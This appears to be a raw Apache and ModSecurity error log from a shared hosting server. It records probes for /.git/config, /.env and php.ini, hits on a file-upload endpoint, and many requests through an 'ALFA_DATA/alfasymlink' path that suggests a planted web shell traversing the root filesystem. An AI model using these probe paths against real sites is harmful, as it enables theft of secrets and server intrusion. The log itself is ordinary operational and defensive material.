[Mon Oct 26 13:42:34.473902 2026] [security2:error] [pid 3067833:tid 3067833] [client 185.191.171.4:55328] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/sssd/conf/sssd.conf"] [unique_id "at-RCp_wwznQnIwm7BV2EAAAAAA"]
[Mon Oct 26 13:42:34.474324 2026] [security2:error] [pid 3067833:tid 3067833] [client 185.191.171.4:55328] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/sssd/conf/sssd.conf"] [unique_id "at-RCp_wwznQnIwm7BV2EAAAAAA"]
[Mon Oct 26 13:42:39.723640 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 50.16.216.166:36821] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:42:48.091267 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 100.29.155.89:48132] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:42:51.964270 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 100.29.107.38:12173] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:42:55.804112 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 18.214.138.148:44523] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:42:59.950507 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 54.157.84.74:47611] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:43:01.489265 2026] [security2:error] [pid 3065020:tid 3065020] [client 43.157.149.188:34132] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at-RJV8Nv1D1ax-igrAchQAAABg"]
[Mon Oct 26 13:43:01.490453 2026] [authz_core:error] [pid 3065020:tid 3065020] [client 43.157.149.188:34132] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 13:43:08.708751 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 54.88.84.219:32430] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:43:11.841281 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 54.164.106.236:26424] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:43:15.996427 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 3.222.85.38:9491] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:43:21.324495 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 34.234.197.175:4591] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:43:24.056379 2026] [core:error] [pid 3044299:tid 3044299] (13)Permission denied: [client 34.195.248.30:9245] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/0000:00:04.0/resource1
[Mon Oct 26 13:43:27.729633 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 3.215.221.125:25034] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:43:31.814383 2026] [core:error] [pid 3068534:tid 3068534] (13)Permission denied: [client 34.231.118.144:15681] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/platform/pcspkr/subsystem/drivers/pcspkr/module/sections/__mcount_loc
[Mon Oct 26 13:43:35.761284 2026] [ssl:error] [pid 3064916:tid 3064916] (5)Input/output error: [client 54.163.136.244:42844] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:43:47.905601 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 34.239.197.197:19441] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:43:51.800254 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 54.225.148.123:64103] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:43:55.860524 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 184.73.47.24:17064] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:44:07.838243 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 3.216.227.216:43098] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:01/PNP0303:00/physical_node1/subsystem/uevent
[Mon Oct 26 13:44:30.603960 2026] [security2:error] [pid 3067833:tid 3067833] [client 43.160.225.169:52080] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/hoteles3/"] [unique_id "at-Rfp_wwznQnIwm7BV2EwAAAAA"]
[Mon Oct 26 13:44:39.943467 2026] [security2:error] [pid 3064916:tid 3064916] [client 3.215.221.125:26863] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory17/node0/memory14/node0/memory2/"] [unique_id "at-Rhwz1n6jB6fkqe7GlqwAAABA"]
[Mon Oct 26 13:44:39.943504 2026] [security2:error] [pid 3064916:tid 3064916] [client 3.215.221.125:26863] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory17/node0/memory14/node0/memory2/"] [unique_id "at-Rhwz1n6jB6fkqe7GlqwAAABA"]
[Mon Oct 26 13:44:43.969072 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.221.222.168:60659] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:44:48.218000 2026] [ssl:error] [pid 3067833:tid 3067833] (70014)End of file found: [client 100.25.120.246:30736] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:44:51.893853 2026] [core:error] [pid 3044299:tid 3044299] (13)Permission denied: [client 18.207.79.144:5322] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/firmware_node/physical_node/driver/uevent
[Mon Oct 26 13:44:56.146804 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 54.159.98.248:12225] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:45:03.933372 2026] [ssl:error] [pid 3067833:tid 3067833] (70014)End of file found: [client 44.194.134.53:47630] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:45:03.989076 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 185.191.171.4:50578] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-64/object_size
[Mon Oct 26 13:45:19.759429 2026] [security2:error] [pid 3068535:tid 3068535] [client 107.172.76.131:55732] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-Rocx-ulTu8vkh2z0t2wAAAAo"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 13:45:19.759489 2026] [security2:error] [pid 3068535:tid 3068535] [client 107.172.76.131:55732] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-Rocx-ulTu8vkh2z0t2wAAAAo"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 13:45:22.299234 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 185.191.171.19:17572] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:45:33.677472 2026] [core:error] [pid 3065020:tid 3065020] (13)Permission denied: [client 185.191.171.11:50880] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_inode_cache/cache_dma
[Mon Oct 26 13:45:44.088734 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 98.82.214.73:4368] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:45:47.911237 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 3.94.157.25:15027] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:45:48.036184 2026] [authz_core:error] [pid 3068534:tid 3068534] [client 94.154.43.187:43948] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 13:45:52.653707 2026] [ssl:error] [pid 3067833:tid 3067833] (70014)End of file found: [client 18.213.70.100:44942] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:46:08.598288 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 100.24.167.60:53923] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:46:11.806765 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 34.227.234.246:26820] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:46:13.667304 2026] [security2:error] [pid 3067833:tid 3067833] [client 138.197.168.134:44118] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-R5Z_wwznQnIwm7BV2GwAAAAA"]
[Mon Oct 26 13:46:13.667577 2026] [security2:error] [pid 3067833:tid 3067833] [client 138.197.168.134:44118] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-R5Z_wwznQnIwm7BV2GwAAAAA"]
[Mon Oct 26 13:46:13.667912 2026] [security2:error] [pid 3067833:tid 3067833] [client 138.197.168.134:44118] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-R5Z_wwznQnIwm7BV2GwAAAAA"]
[Mon Oct 26 13:46:13.675227 2026] [security2:error] [pid 3065020:tid 3065020] [client 138.197.168.134:59622] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-R5V8Nv1D1ax-igrAciQAAABg"]
[Mon Oct 26 13:46:13.675264 2026] [security2:error] [pid 3065020:tid 3065020] [client 138.197.168.134:59622] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-R5V8Nv1D1ax-igrAciQAAABg"]
[Mon Oct 26 13:46:13.724957 2026] [security2:error] [pid 3044299:tid 3044299] [client 138.197.168.134:44120] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-R5QWgOHT1_mp01JunRQAAAD0"], referer: http://wapi1.sherwinpinturas.com/.git/config
[Mon Oct 26 13:46:13.725367 2026] [security2:error] [pid 3044299:tid 3044299] [client 138.197.168.134:44120] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-R5QWgOHT1_mp01JunRQAAAD0"], referer: http://wapi1.sherwinpinturas.com/.git/config
[Mon Oct 26 13:46:13.725861 2026] [security2:error] [pid 3044299:tid 3044299] [client 138.197.168.134:44120] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-R5QWgOHT1_mp01JunRQAAAD0"], referer: http://wapi1.sherwinpinturas.com/.git/config
[Mon Oct 26 13:46:13.971922 2026] [security2:error] [pid 3064916:tid 3064916] [client 138.197.168.134:44154] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "wapi1.sherwinpinturas.com"] [uri "/assets/app-assets/data/jquery-file-upload/server/php/"] [unique_id "at-R5Qz1n6jB6fkqe7GlsgAAABA"]
[Mon Oct 26 13:46:13.971960 2026] [security2:error] [pid 3064916:tid 3064916] [client 138.197.168.134:44154] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "wapi1.sherwinpinturas.com"] [uri "/assets/app-assets/data/jquery-file-upload/server/php/"] [unique_id "at-R5Qz1n6jB6fkqe7GlsgAAABA"]
[Mon Oct 26 13:46:16.484349 2026] [ssl:error] [pid 3074878:tid 3074878] (70014)End of file found: [client 44.218.170.184:27555] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:46:32.043407 2026] [ssl:error] [pid 3074890:tid 3074890] (70014)End of file found: [client 184.73.239.35:45920] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:46:35.721044 2026] [core:error] [pid 3074892:tid 3074892] (13)Permission denied: [client 185.191.171.4:59528] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/cpu_slabs
[Mon Oct 26 13:46:47.800442 2026] [ssl:error] [pid 3074890:tid 3074890] (70014)End of file found: [client 3.222.190.107:1394] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:46:52.031186 2026] [ssl:error] [pid 3074891:tid 3074891] (70014)End of file found: [client 50.19.102.70:40546] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:46:55.912915 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 184.73.167.217:1138] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:46:59.894332 2026] [security2:error] [pid 3074885:tid 3074885] [client 54.210.155.69:13712] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/Cavium PTP Driver/"] [unique_id "at-SE5RATNvRf1Un0GbfUgAAABc"]
[Mon Oct 26 13:46:59.894468 2026] [security2:error] [pid 3074885:tid 3074885] [client 54.210.155.69:13712] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/Cavium PTP Driver/"] [unique_id "at-SE5RATNvRf1Un0GbfUgAAABc"]
[Mon Oct 26 13:47:19.753538 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 44.205.74.196:12441] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:47:35.931329 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 98.82.107.102:36380] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:47:43.695284 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 98.84.60.17:33192] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:47:44.045547 2026] [core:error] [pid 3064918:tid 3064918] (13)Permission denied: [client 34.206.249.188:64189] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/tty11/subsystem/ptmx/subsystem/ttyS2/line
[Mon Oct 26 13:48:03.672485 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 52.1.157.90:4030] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:48:05.601442 2026] [security2:error] [pid 3065806:tid 3065806] [client 107.172.76.131:55729] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-SSQ7tQS1M73WECjKPWwAAAAY"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 13:48:05.601506 2026] [security2:error] [pid 3065806:tid 3065806] [client 107.172.76.131:55729] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-SSQ7tQS1M73WECjKPWwAAAAY"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 13:48:11.875019 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 54.162.69.192:15409] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:48:19.821883 2026] [ssl:error] [pid 3074885:tid 3074885] (70014)End of file found: [client 54.210.155.69:35435] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:48:23.859289 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 34.239.197.197:43591] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:48:31.848522 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 18.204.89.56:34983] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:48:35.779456 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 107.20.255.194:1921] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:48:39.778122 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 54.152.163.42:51353] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:48:39.793974 2026] [core:error] [pid 3074885:tid 3074885] (13)Permission denied: [client 185.191.171.16:18410] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/names_cache/cpu_partial
[Mon Oct 26 13:48:56.224778 2026] [security2:error] [pid 3074879:tid 3074879] [client 170.83.216.190:38852] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/debug_morelos_1.html"] [unique_id "at-SiIbyDoaPXEcrP3mzNQAAAA4"], referer: https://parkeranders.com/
[Mon Oct 26 13:48:59.775392 2026] [ssl:error] [pid 3074885:tid 3074885] (70014)End of file found: [client 54.147.80.137:64652] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:49:04.350360 2026] [core:error] [pid 3074892:tid 3074892] (13)Permission denied: [client 44.215.210.112:27721] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/driver/unbind
[Mon Oct 26 13:49:07.905665 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.221.156.96:15504] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:49:19.894098 2026] [ssl:error] [pid 3074885:tid 3074885] (70014)End of file found: [client 3.220.148.166:57339] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:49:23.464511 2026] [security2:error] [pid 3074892:tid 3074892] [client 91.92.240.86:41706] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env"] [unique_id "at-So5md1AV27mMY1mrucwAAABw"]
[Mon Oct 26 13:49:23.464845 2026] [security2:error] [pid 3074892:tid 3074892] [client 91.92.240.86:41706] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env"] [unique_id "at-So5md1AV27mMY1mrucwAAABw"]
[Mon Oct 26 13:49:23.630916 2026] [security2:error] [pid 3074892:tid 3074892] [client 91.92.240.86:41706] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "at-So5md1AV27mMY1mrucwAAABw"]
[Mon Oct 26 13:49:23.862525 2026] [ssl:error] [pid 3074872:tid 3074872] (70014)End of file found: [client 34.224.9.144:37182] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:49:26.516627 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 85.208.96.201:13342] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-8/red_zone
[Mon Oct 26 13:49:31.744328 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 52.205.113.104:33304] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:49:33.161038 2026] [authz_core:error] [pid 3064975:tid 3064975] [client 195.178.110.50:46670] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 13:49:39.851713 2026] [core:error] [pid 3074877:tid 3074877] (13)Permission denied: [client 18.215.112.101:10508] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/ata2/host1/subsystem/drivers/sr/unbind
[Mon Oct 26 13:49:43.688993 2026] [ssl:error] [pid 3074879:tid 3074879] (70014)End of file found: [client 52.205.113.104:65230] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:49:47.748457 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 52.1.106.130:47437] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:49:51.743709 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 98.82.66.172:42359] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:50:04.170807 2026] [ssl:error] [pid 3074872:tid 3074872] (70014)End of file found: [client 34.205.163.103:56257] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:50:11.501746 2026] [ssl:error] [pid 3074879:tid 3074879] (70014)End of file found: [client 184.73.47.24:45844] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:50:19.747748 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 35.173.18.61:23726] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:50:31.871607 2026] [ssl:error] [pid 3074872:tid 3074872] (70014)End of file found: [client 54.84.161.62:17434] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:50:39.787613 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 23.23.213.182:2434] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:50:43.722383 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 54.197.178.107:62873] AH02013: coalesce failed to read from data bucket
